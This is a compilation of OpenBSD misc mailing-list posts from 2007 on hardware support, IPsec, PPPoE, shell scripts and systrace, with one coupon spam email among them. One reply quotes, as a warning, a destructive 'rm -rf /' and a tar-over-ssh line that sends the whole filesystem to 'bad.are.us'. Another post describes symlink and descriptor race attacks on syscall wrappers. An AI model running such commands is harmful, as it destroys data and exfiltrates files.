Re: Re: Pendrive detecting and mount script
thanks :) > This is madness ! :) the mount_umass rocks, it's worth reading it. > > smonek wrote: > > Hello this is my script to auto mount pendrives / usbdrivs > > Script work ony with MSDOS fs > > Script detecting all partitions betewn a: and l: on sd0 ,sd1 ,sd2 ,sd3 > > > > > > First time you must run this script as a root or manula created /umass catalog > > and chmod 766 /umass > > > > www.0penbsd.pl/webs/download/mount_umass > > www.0penbsd.pl/webs/download/umount_umass > > > > > > Szymon Nowak > > www.0penbsd.pl > > www.0penbsd.pl/forum
Re: Re: Pendrive detecting and mount script
I now this is large script but When I will by have more time I rewrite this script and add mount ffs pendrive an support when Is other SCSI disk ( example on the servers ) sorry fo my english :) > This is madness ! :) the mount_umass rocks, it's worth reading it. > > smonek wrote: > > Hello this is my script to auto mount pendrives / usbdrivs > > Script work ony with MSDOS fs > > Script detecting all partitions betewn a: and l: on sd0 ,sd1 ,sd2 ,sd3 > > > > > > First time you must run this script as a root or manula created /umass catalog > > and chmod 766 /umass > > > > www.0penbsd.pl/webs/download/mount_umass > > www.0penbsd.pl/webs/download/umount_umass > > > > > > Szymon Nowak > > www.0penbsd.pl > > www.0penbsd.pl/forum
OpenBSD support for various hardware
Hi, first I'd like to thank you all for your answers. On Wed, 08.08.2007 at 11:01:05 -0400, Nick Holland <[EMAIL PROTECTED]> wrote: > Toni Mueller wrote: > > So, is it right to conclude that only current AMD CPUs are supported, > > and that recent intel CPUs are generally unsupported? > > from > http://www.openbsd.org/i386.html : > "Everything that is a clone of the 486 or up should work fine." There's a conditional in this sentence, and Theo's remark about these Core2Duo CPUs so far did translate for me to "These CPUs are unsupported because we still have problems coping with their bugs and new quirks, and we hope to solve the worst of it by mid-next year." > The issue is almost never the CPU itself, the issue is the surrounding > support chips and firmware. There is much more to a computer than its > processor. Very well agreed (what's that with sparc64 support?), but if even the CPU does not work well (enough), I'd say that it would then be far too early to break a sweat about eg. chipset problems. Also, there appear to be various degrees of "support", with some things known to run, and some (other) things known to run better... > point. Ask if it supports your new COMPUTER. Better yet, get yourself > one of those "credit-card" CDR blanks, drop cd42.iso on it, and carry > it with you and find out, This is infeasible for mail-order, which seems to be the norm for servers or other non-consumer stuff, but otherwise, I agree. > grab a USB flash drive, and put a test install on that, and you can > boot the entire OS, test X, NIC, whatever, and grab a dmesg, drop it > on "disk" and analyze it later. Of course, and I usually do something very similar when I have a chance to actually lay my hands on a machine, but for server stuff which is usually BTO, this does not work. In such cases, one has to find out beforehand what works and what not, or have an agreement to swap non-working hardware even if the hardware itself is ok. The latter is becoming a bigger problem by the day, from my perspective, because less and less dealers want to let you do your tests, but _only_ wrap up a sale, and that's it. While we're at it, I'm interested in good dealers in Germany. Best, --Toni++
Re: systrace/sysjail wrappers security
On Thu, Aug 09, 2007 at 11:30:47AM -0400, Niels Provos wrote: > There is a straight forward solution for this problem. The initial > prototype of Systrace had a look-aside buffer in the kernel for > copyin. I told Robert about this, not sure if he mentioned that in > his paper or not. There obviously would be some associated > performance impacts. This is not solution to the problem Robert describes in his paper. What you suggest can only help with one kind of race, but this is not a complete fix. There are much more race possibilities, because how syscall wrappers work and I consider it a design flaw, which isn't really fixable. I was thinking a lot about this few years ago when I was working on CerbNG, but at the end I decided to drop the project, because some problems, as I mentioned, can't be solved and fixing others need gross hacks, and having gross hacks especially in security software is not the way to go. Look-aside buffer can help only when another thread/process modify the buffer passed to the kernel after syscall wrapper check and before kernel use. I was playing in CerbNG with marking page as read-only to protect against this. Other races that can't be avoided using this technique are for example: 1. Policy elevates privileges when process is trying to open some file. We can create symbolic link that points at this file, call open on it and after syscall wrapper check we change symbolic link to point at /etc/master.passwd. 2. Process is allowed to open a file in its home directory. Syscall wrapper verifies if the process really owns that file, allows to open it, but we remove it and place symbolic link to another file before kernel gets to it. 3. Process opens some special file and when it tries to do something with its descriptor (eg. fchmod(2)/fchown(2)) we elevate its privileges. Another thread in this process after syscall wrapper check can close this file, open another file and use dup2(2) to reuse old file's descriptor - syscall wrapper allowed fchown(2) on descriptor X, but the kernel will have different file under X descriptor. There are probably more. In my opinion there are just too many potential problems with syscall wrappers that I fully agree with Robert - they should not be used. The solution, as Robert writes in his paper is to use frameworks like Mandatory Access Control in FreeBSD where policy access to objects, that are already locked and protected against races, eg. the kernel first opens a file, locks it and pass a pointer to a locked vnode to the policy. Then we can be sure no change can be made to this file that will confuse our policy. -- Pawel Jakub Dawidek http://www.wheel.pl [EMAIL PROTECTED] http://www.FreeBSD.org FreeBSD committer Am I Evil? Yes, I Am! [demime 1.01d removed an attachment of type application/pgp-signature]
Re: pppoe problems
Hi, > Am 10.08.2007 um 19:42 schrieb Umaxx: > > > > Try deleting these two statements: > > > enable lqr > > set lqrperiod 5 > > The default is that these settings are disabled then and if it is > required they are automatically added. Since I disabled those two > settings my pppoe connection runs flawlessly. > Thanks for the hint, I tried that already - was not working. Cheers, Joerg
Re: OpenBSD/hppa
> From: "J.C. Roberts" <[EMAIL PROTECTED]> > Date: Thu, 9 Aug 2007 01:07:46 -0700 > > On Wednesday 08 August 2007, Jacob Yocom-Piatt wrote: > > jc, > > > > now that i have a bit of "hobby" funds, i am accumulating other > > architectures that run openbsd and am interested in having an hppa > > machine. got any advice on a good one to acquire? leads on where to > > acquire them and for how much would also be welcome since they don't > > exactly pop up all over the place when googling. > > > > best regards, > > jake Jake, Robert, > Hi Jake, > > Mark Kettenis is a better person to ask and I've cc'd him. Also, folks > on the lists might be curious about the same thing (I hope you don't > mind, and yes, like an idiot I previously posted my own off-list > message to the lists). Yeah, that had me a bit confused ;). > None the less, you're query is missing necessary details, namely > your system/location requirements and acceptable cost level. Some > PARISC machines are extremely expensive. But since HP has stopped development of PA-RISC in favour of Itanium, people are throwing out boxes, so there may be some excellent bargains around. > The one machine that I actually have in use is my C3600, mainly because > it's in a usable location and already setup. The C35xx, C36xx and C37xx > systems are great general-purpose workstations. The bigger dual > processor systems of the J5xxx J6xxx and J7xxx classes are humongous > beasts. Just the shipping costs for getting the J5000 to Theo was a few > hundred dollars, similarly my J5600 sits unused on a low shelf these > days mainly because I have no way to move it with my hands as messed up > as they are. Actually, while the J5x00 and J7x500 are humongous beasts, the J6xxx machines are 2U machines that can be racked or used as a workstation. These are most defenitely the machines to look for, especially the J6700 and J6750. The B and C come in a fairly large mini-tower case. They have somewhat more room for expansion. Again the C3700 and C3750 are tha fastest machines here. > > Another issue (particularly with OpenBSD) is 64bit support, multi-core > support, and of course, multi-processor support. Whether or not it > actually matters depends on your uses/application. > > At the moment, I have the following PARISC systems here: > > 700 Apollo > 715/100 > 715/100XC > C110 (2) > C240 > C3600 > J5600 > > I believe I also still have the original "snake" here as well (the first > PARISC box) but if it's here, then buried under other systems in the > stacks. If it's not here, then I think I either sent it to mickey@ or > possibly I sold it... -it was a very old and interesting machine. > > The sad part is I'm currently not allowed to lift anything over 5 pounds > (2KG) and that's a recent improvement over a few months ago when I > could not even hold a book. Moving systems from the stacks to the work > bench is just not possible. -And yes, miod@ (correctly and politely) > laughed at me for not keeping everything in a usable configuration when > he saw the pictures. Sorry to hear that. Anyway, the C110's now run nicely again and the Fast-Wide SCSI works on them. All the other ones have been tested recently too, so leave them on that stack for now. I hope your physical condition continues to improveme, such that you can plan with them again in the not too distant future. Cheers, Mark
Re: VPN Connection from 4.1 to WatchGuard
Hi, Am 11.08.2007 um 14:19 schrieb [EMAIL PROTECTED]: Aug 9 01:52:40 voldemort isakmpd[20491]: attribute_unacceptable: ENCRYPTION_ALGORITHM: got 3DES_CBC, expected AES_CBC It seems your watchguard is sending 3DES, but your OBSD box is set to accept AES. The both have to be set to use the same encryption algorithm. well, but as you can see further down is my ipsec.conf where I clearly put in 3des as encryption and the WG has also 3des enabled. Any further help? Cheers James mailinglists-9 wrote: Hi, I have set up a vpn from my OpenBSD Box (4.1-current) to our company WatchGuard X700. My problem is that the re-keying isn't always working and my tunnel does not come up if I send traffic to the destination network. I must manually restart the isakmpd and then start the tunnel by using ipsecctl -f / etc/ipsec.conf. I see some strange errors in my /var/log/messages even when the tunnel is up. What do these errors mean?: Aug 9 01:52:40 voldemort isakmpd[20491]: attribute_unacceptable: ENCRYPTION_ALGORITHM: got 3DES_CBC, expected AES_CBC Aug 9 02:02:07 voldemort isakmpd[20491]: sendmsg (20, 0x7f7e3ba0, 0): No buffer space available Aug 9 02:02:07 voldemort isakmpd[20491]: transport_send_messages: giving up on exchange IPsec-MY_EXTERNAL_IP-PEER_EXTERNAL_IP, no response from peer PEER_EXTERNAL_IP:500 Aug 9 02:02:07 voldemort isakmpd[20491]: sendmsg (20, 0x7f7e3ba0, 0): No buffer space available Aug 9 02:02:07 voldemort isakmpd[20491]: transport_send_messages: giving up on exchange IPsec-MY_EXTERNAL_IP-194.25.138.0/24, no response from peer PEER_EXTERNAL_IP:500 Aug 9 02:04:07 voldemort isakmpd[20491]: transport_send_messages: giving up on exchange IPsec-MY_EXTERNAL_IP-PEER_EXTERNAL_IP, no response from peer PEER_EXTERNAL_IP:500 Aug 9 02:04:07 voldemort isakmpd[20491]: transport_send_messages: giving up on exchange IPsec-MY_EXTERNAL_IP-194.25.138.0/24, no response from peer PEER_EXTERNAL_IP:500 Aug 9 02:06:07 voldemort isakmpd[20491]: transport_send_messages: giving up on exchange IPsec-MY_EXTERNAL_IP-PEER_EXTERNAL_IP, no response from peer PEER_EXTERNAL_IP:500 Aug 9 02:06:07 voldemort isakmpd[20491]: transport_send_messages: giving up on exchange IPsec-MY_EXTERNAL_IP-194.25.138.0/24, no response from peer PEER_EXTERNAL_IP:500 Aug 9 02:07:56 voldemort isakmpd[20491]: sendmsg (20, 0x7f7e3ba0, 0): No buffer space available Aug 9 02:07:56 voldemort isakmpd[20491]: sendmsg (20, 0x7f7e3ba0, 0): No buffer space available MY_EXTERNAL_IP My ipsec.conf looks like this: ike esp from $ext_IP to $peer_GW ike esp from $ext_IP to $peer_LAN peer $peer_GW ike esp from $int_LAN to $peer_LAN \ peer $peer_GW \ main auth hmac-sha1 enc 3des group modp1024 \ quick auth hmac-sha1 enc 3des group none \ psk "" Any help is highly appreciated. Cheers, James
column(1) replace with goodies
IMHO, column is one of the most underestimated utilities in UNIX.
Every utility should output different information if they are running
in a terminal or not. That way, shell scripting would be more
straightforward.
While column - ts '' does help, it has some limitations. One
can't specify per-column separator, or alignment. Here's where algn
comes handy.
algn takes a file, and aligns its columns (-a), and uses specified
separators to show them (-s). For example, given:
00 00 01 command
00 00 01 commandsss
00 00 01 command
600 00 01 command
00 00 01 command
00 00 01 command
algn -a ',,,l' -s ':,.' outputs:
00:00.01 command
00:00.01 commandsss
00:00.01 command
600:00.01 command
00:00.01 command
00:00.01 command
a option receives aligners in the style: ','; where
is "l" or "r".
s option receives separators in the same style: ''; where
can be any string _except_ one containing one or more
commas (this will be fixed).
As the comment says, awk program is mostly Steffen Schuler's work; and
I thank him.
I thought maybe could give it use, so I share it with you.
Greetings!
#!/bin/sh
# Copyright (c) 2006, 2007 Andres Delfino <[EMAIL PROTECTED]>
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
# awk program is 99% Steffen Schuler's work.
name="${0##*/}"
exit_status=0
aligners=
separators=
function show_usage
{
printf 'Usage: %s [-a aligners] [-s separators] [file ...]\n' "${name}"
>& 2
exit 1
}
while getopts ':a:s:' ch; do
case "${ch}" in
( a )
aligners="${OPTARG}"
;;
( s )
separators="${OPTARG}"
;;
( ? )
printf 'Invalid option.\n' >& 2
show_usage
;;
esac
done
shift "$((${OPTIND} - 1))"
awk_program='
\
BEGIN
\
{
\
FS = " ";
\
aligners = split("'"${aligners}"'", aligner, ",");
\
separators = split("'"${separators}"'", separator, ",");
\
}
\
\
{
\
for (field = 1; field <= NF; ++field)
\
{
\
fields[NR,field] = $field;
\
field_length = length($field);
\
\
if (field_length > max_field_length[field])
\
max_field_length[field] = field_length;
\
}
\
}
\
\
END
\
{
\
for (record = 1; record <= NR; ++record)
\
{
\
for (field = 1; record SUBSEP field in fields; ++field)
\
{
\
if (field > 1)
Re: column(1) replace with goodies
On 8/11/07, Andris <[EMAIL PROTECTED]> wrote:
> IMHO, column is one of the most underestimated utilities in UNIX.
> Every utility should output different information if they are running
> in a terminal or not. That way, shell scripting would be more
> straightforward.
>
> While column - ts '' does help, it has some limitations. One
> can't specify per-column separator, or alignment. Here's where algn
> comes handy.
>
> algn takes a file, and aligns its columns (-a), and uses specified
> separators to show them (-s). For example, given:
>
> 00 00 01 command
> 00 00 01 commandsss
> 00 00 01 command
> 600 00 01 command
> 00 00 01 command
> 00 00 01 command
>
> algn -a ',,,l' -s ':,.' outputs:
>
> 00:00.01 command
> 00:00.01 commandsss
> 00:00.01 command
> 600:00.01 command
> 00:00.01 command
> 00:00.01 command
>
> a option receives aligners in the style: ','; where
> is "l" or "r".
>
> s option receives separators in the same style: ''; where
> can be any string _except_ one containing one or more
> commas (this will be fixed).
>
> As the comment says, awk program is mostly Steffen Schuler's work; and
> I thank him.
>
> I thought maybe could give it use, so I share it with you.
>
> Greetings!
>
> #!/bin/sh
>
> # Copyright (c) 2006, 2007 Andres Delfino <[EMAIL PROTECTED]>
> #
> # Permission to use, copy, modify, and distribute this software for any
> # purpose with or without fee is hereby granted, provided that the above
> # copyright notice and this permission notice appear in all copies.
> #
> # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
> # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
> # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
> # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
> # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
> # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
> # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
>
> # awk program is 99% Steffen Schuler's work.
>
> name="${0##*/}"
> exit_status=0
>
> aligners=
> separators=
>
> function show_usage
> {
> printf 'Usage: %s [-a aligners] [-s separators] [file ...]\n'
"${name}" >& 2
> exit 1
> }
>
> while getopts ':a:s:' ch; do
> case "${ch}" in
> ( a )
> aligners="${OPTARG}"
> ;;
> ( s )
> separators="${OPTARG}"
> ;;
> ( ? )
> printf 'Invalid option.\n' >& 2
> show_usage
> ;;
> esac
> done
>
> shift "$((${OPTIND} - 1))"
>
> awk_program='
\
> BEGIN
\
> {
\
> FS = " ";
\
> aligners = split("'"${aligners}"'", aligner, ",");
\
> separators = split("'"${separators}"'", separator, ",");
\
> }
\
>
\
> {
\
> for (field = 1; field <= NF; ++field)
\
> {
\
> fields[NR,field] = $field;
\
> field_length = length($field);
\
>
\
> if (field_length > max_field_length[field])
\
> max_field_length[field] = field_length;
\
> }
\
> }
\
>
\
> END
\
> {
\
> for (record = 1; record <= NR; ++record)
\
> {
\
> for (field = 1; record SUBSEP field in fields; ++field)
\
> {
\
> if (field > 1)
\
> if (field - 1 <= separators)
\
> printf("%s", separator[field - 1]);
\
> else
\
> printf(" ");
\
>
\
> string = "%";
\
>
\
> if (field <= aligners && aligner[field] == "l")
\
> string = string "-";
\
>
\
> string = string "*s";
\
> printf(string, max_field_length[field],
fields[record,field]); \
> }
\
>
\
> printf("\n");
\
> }
\
> }
\
> '
>
> if [ "${#}" -ge 1 ]; then
> while [ "${1}" ]; do
> if [ -e "${1}" ]; then
> if [ -f "${1}" ]; then
> if [ -r "${1}" ]; then
> awk "${awk_program}" "${1}"
> else
> printf '%s: %s: Permission to read
from file not granted\n'
> "${name}" "${1}" >& 2
> exit_status=4
> fi
> else
> printf '%s: %s: File is not a regular
file\n' "${name}" "${1}" >& 2
> exit_status=3
>
Re: OpenBSD support for various hardware
On Sat, Aug 11, 2007 at 12:10:57PM +0200, Toni Mueller wrote: > Of course, and I usually do something very similar when I have a chance > to actually lay my hands on a machine, but for server stuff which is > usually BTO, this does not work. In such cases, one has to find out > beforehand what works and what not, or have an agreement to swap > non-working hardware even if the hardware itself is ok. The latter is > becoming a bigger problem by the day, from my perspective, because less > and less dealers want to let you do your tests, but _only_ wrap up a > sale, and that's it. While we're at it, I'm interested in good dealers > in Germany. A while back I found myself in the position of finding server hardware to run OpenBSD. I checked the hardware pages on openbsd.org. I checked that server compat list mentioned in this thread. I looked at various online vendors, ebay, and wherever I could think. It seemed very tricky to get a proper list of what would be in any given server and make sure it would work with OpenBSD. I ended up finding a company that seemed to have a decent reputation, quality hardware, nice service, and had been around a long time. And *then* I saw they are listed at http://www.openbsd.org/products.html. This was ASA Computers. We found cards that OpenBSD would be happy with and they built the machine, installed the OS with RAID setup as I requested, and burned it in. I probably could have shopped and saved a tiny amount of money, but instead... 1. Everything works under OpenBSD. I did not have to swap out and return hardware. First boot (for me) was into OpenBSD. I had zero hassle. 2. I give my business to someone willing to support OpenBSD in some way. They worked with me to get supported hardware in the machine. 3. If more OpenBSD users would do this, those dealers would order less closed, blob-ridden hardware and more supported hardware, which sends a stronger message to *their* upstream distributors than if you order it from NewEgg (or wherever). -- Darrin Chandler| Phoenix BSD User Group | MetaBUG [EMAIL PROTECTED] | http://phxbug.org/ | http://metabug.org/ http://www.stilyagin.com/ | Daemons in the Desert | Global BUG Federation
Re: howto set global environment variable (e.g. PATH, JAVA_HOME)
thank you all for your tips. I had success in two ways. first way: changed path and added setenv in default-class in /etc/login. did not work first , had to change .profile of my user, because setting of PATH in .profile eliminated setting in login.conf. also /etc/skel/.profile had to be changed for future users. second (and finally preferred) way: - created /etc/profile: # sh/ksh initialization export JAVA_HOME=/usr/local/jdk-1.5.0 PATH=/usr/local/jdk-1.5.0/bin:$HOME/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6 /bin:/usr/local/bin:/usr/local/sbin:/usr/games:. export PATH HOME TERM - changed .profile of my user to not override /etc/profile-PATH: # $OpenBSD: dot.profile,v 1.4 2005/02/16 06:56:57 matthieu Exp $ # # sh/ksh initialization PATH=$PATH export PATH HOME TERM - changed /etc/skel/.profile for further users # $OpenBSD: dot.profile,v 1.4 2005/02/16 06:56:57 matthieu Exp $ # # sh/ksh initialization PATH=$PATH export PATH HOME TERM thank you all again! Test: $ cd /usr/local/jdk-1.5.0/demo/jfc/Stylepad/ $ java -jar Stylepad.jar Welcome in Alice's Wonderland! -- View this message in context: http://www.nabble.com/howto-set-global-environment-variable-%28e.g.-PATH%2C-JAVA_HOME%29-tf4236252.html#a12109189 Sent from the openbsd user - misc mailing list archive at Nabble.com.
Re: Pendrive detecting and mount script
smonek wrote: Hello this is my script to auto mount pendrives / usbdrivs Script work ony with MSDOS fs Script detecting all partitions betewn a: and l: on sd0 ,sd1 ,sd2 ,sd3 Nice effort! But... First time you must run this script as a root or manula created /umass catalog and chmod 766 /umass I'd rather not run this as root, ever. www.0penbsd.pl/webs/download/mount_umass www.0penbsd.pl/webs/download/umount_umass While this may be a useful tool, it is possibly the worst case of copy-and-paste I've ever seen. (I seriously hope you auto-generated the mount_umass script). I wouldn't use such a script since I cannot be sure that a _possibly_ malicious author had not inserted some 'rm -rf /', 'tar -czf - / | ssh bad.are.us "cat - > thankyou.tgz"' or so. I suggest you have a look at: man sh /for name and for this specific purpose: man hotplugd Sincerely, Alexander
Mizani,Affirm,KeraCare,Coupon Code
For our very best customers we are offering an additional 20% off when you use the coupon code below to purchase Mizani, Affirm, or KeraCare. The coupon code is for these items only and will expire after 400 uses. Simply place the coupon code in the designated area and the system will remove an additional 20% off the already half off price. The promotional code is.0809073734For your convenience, please find links to these three product lines.Keracare http://www.sheldeez.com/webcart11/webcart.php?RCATS=Kera+CareMizani http://www.sheldeez.com/webcart11/webcart.php?RCATS=MizaniAffirm http://www.sheldeez.com/webcart11/webcart.php?RCATS=AffirmThank you for your patronage. To unsubscribe please click below.https://webcart.net/securehost/sheldeez.com/webcart11/nl_unsubscribe.php?ln=en&EMAIL=misc%40openbsd.org&SRC=aah2Click here to unsubscribeSheldeez Management
uvm_fault on Asus M2V-MX
Today I was trying to install OpenBSD/amd64 4.1 GENERIC on a system with the following motherboard: http://www.asus.com/products4.aspx?modelmenu=2&model=1418&l1=3&l2=101&l3=324&l4=0 But during installation I got the following blue lines (which I've noted on a piece of paper by hand): uvm_fault (0xfe80 0a2de810, 0x7f8000267000, 0, 1) -> e fatal page fault in supervisor mode trap type 6 code 0 rip 802540a7 cs 8 vflags 10216 cr2 7f8000267fb0 cpl1 0 rsp 800067015c80 syncing discs ...done At which time system halts, or becomes unresponsive. (Actually, this error occurs during my custom install script, in site41.tgz, after usual OpenBSD installation finishes.) I was suspicious about pciide, but VIA 8237A is in the supported hardware list. So I've installed OpenBSD on the same HD, but now on another hardware, then inserted the HD back into this system again, but after a couple of services start, I got another uvm_fault error (it's similar but not the same, if I recall correctly), and the system hangs. Some of the other parts are: Athlon64 4200+ X2, Kingston 1GB RAM, WD 250GB SATA2 HD. I've disabled many options in the bios, but nothing changed. If I cannot find a solution, the board will be returned. Does anybody else use this motherboard too? Do you have any problems? If you had a similar issue, how did you fix it, any special bios settings? What could be the source of the uvm_fault error: motherboard, RAM, or even the processor itself? Otherwise I have installed OpenBSD with my custom script on other amd64 hardware without major problems. I would appreciate any help.
